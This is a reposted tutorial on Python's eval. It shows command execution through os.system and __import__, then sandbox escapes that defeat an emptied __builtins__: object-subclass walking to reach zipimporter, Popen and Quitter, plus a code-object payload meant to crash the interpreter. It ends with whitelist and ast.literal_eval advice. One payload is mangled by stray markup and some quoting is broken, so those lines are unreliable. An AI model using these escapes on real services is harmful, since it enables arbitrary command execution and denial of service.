Detailed explanation of the usage of eval in python and introduction to potential risks

不言
Release: 2019-03-25 10:41:37
forward
4833 people have browsed it

This article brings you a detailed explanation of the usage of eval in python and an introduction to potential risks. It has certain reference value. Friends in need can refer to it. I hope it will be helpful to you.

Preface to eval

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]
Copy after login

When the built-in module in the memory contains os, eval can also execute commands:

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0
Copy after login

Of course, eval can only execute Python expressions Type code cannot be directly used for import operations, but exec can. If you must use eval for import, use __import__:

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0
Copy after login

In actual code, there is often a need to use client data to be brought into eval for execution. For example, the introduction of dynamic modules, for example, there may be multiple crawlers on an online crawler platform and they are located in different modules. The server side often only needs to call the crawler type selected by the user on the client side, and use exec or eval on the backend. It is very convenient to make dynamic calls and implement back-end coding. However, if the user's request is not handled properly, it will cause serious security vulnerabilities.

Safe" use of eval

The most advocated now is to use the last two parameters of eval to set the whitelist of the function:

The declaration of the Eval function is eval(expression[ , globals[, locals]])

Among them, the second and third parameters respectively specify functions that can be used in eval, etc. If not specified, the default is the module included in the globals() and locals() functions. and functions.

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
Copy after login

If you specify that only abs functions are allowed to be called, you can use the following writing method:

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
Copy after login

Using this method for protection can indeed play a certain role, but this The processing method may be bypassed, causing other problems!

Bypass execution code 1

The bypassed scenario is as follows. Xiao Ming knows that eval will bring certain security risks, so Use the following means to prevent eval from executing arbitrary code:

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)
Copy after login

__builtins__ in Python is a built-in module, which is used to set built-in functions. For example, the familiar abs, open and other built-in functions are all in this The module is stored in a dictionary. The following two ways of writing are equivalent:

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20
Copy after login

We can also customize built-in functions and use them like built-in functions in Python:

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi
Copy after login

Xiao Ming sets the built-in module in the scope of the eval function to None, which seems very thorough, but it can still be bypassed. __builtins__ is a reference to __builtin__, and under the __main__ module, both are equivalent:

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136
Copy after login

According to the method mentioned by Wuyun drops, you can use the following code:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
Copy after login

The above code first uses __class__ and __subclasses__ to dynamically load the object object , this is because object cannot be used directly in eval. Then use the zipimporter of the subclass of object to import the configobj module in the egg compressed file, and call the os module in its built-in module to implement command execution. Of course, the premise is that there is The egg file of configobj. The configobj module is very interesting. It actually has a built-in os module:

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0
Copy after login

Modules similar to configobj such as urllib, urllib2, setuptools, etc. all have built-in os. In theory, any one can be used. If it is not possible To download the egg compressed file, you can download the folder with setup.py, add:

from setuptools import setup, find_packages
Copy after login

and then execute:

python setup.py bdist_egg
Copy after login

to find the corresponding egg file in the dist folder. The bypass demo is as follows:

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0
Copy after login

Denial of Service Attack 1

There are many interesting things in the subclasses of object. Execute the following code to view:

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
Copy after login

I won’t output the results here. If you execute it, you can see many interesting modules, such as file, zipimporter, Quitter, etc. After testing, the constructor of file is isolated by the interpreter sandbox. Simply, or directly exit the Quitter subclass exposed by the object:

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})
Copy after login

C:/>
If you are lucky and encounter sensitive modules such as os imported into the other party's program, then Popen will It can be used and bypasses the restriction that __builins__ is empty. The example is as follows:

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>
Copy after login

In fact, there are many such situations, such as importing the os module, which is generally used to deal with path problems. Therefore, when encountering this situation, you can list a large number of functional functions to detect whether there are some dangerous functions in the subclass of the target object that can be used directly.

Denial of service attack 2

Similarly, we can even bypass __builtins__ as None, causing a denial of service attack. The payload (from foreigner blog) is as follows:

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
Copy after login

When running the above code, Python crashes directly, causing a denial of service attack. The principle is to construct a piece of code, that is, a code object, through nested lambdas. Allocate an empty stack for this code object and give the corresponding code string, here is KABOOM. If the code is executed on the empty stack, a crash will occur. After the construction is completed, it can be triggered by calling the fc function. The idea is not unsexy.

Summary

We can see from the above that simply setting the built-in module to empty is not enough. The best mechanism is to construct a whitelist. If If you find it troublesome, you can use ast.literal_eval instead of unsafe eval.

This article has ended here. For more other exciting content, you can pay attention to the python video tutorial column of the PHP Chinese website!

The above is the detailed content of Detailed explanation of the usage of eval in python and introduction to potential risks. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:segmentfault.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!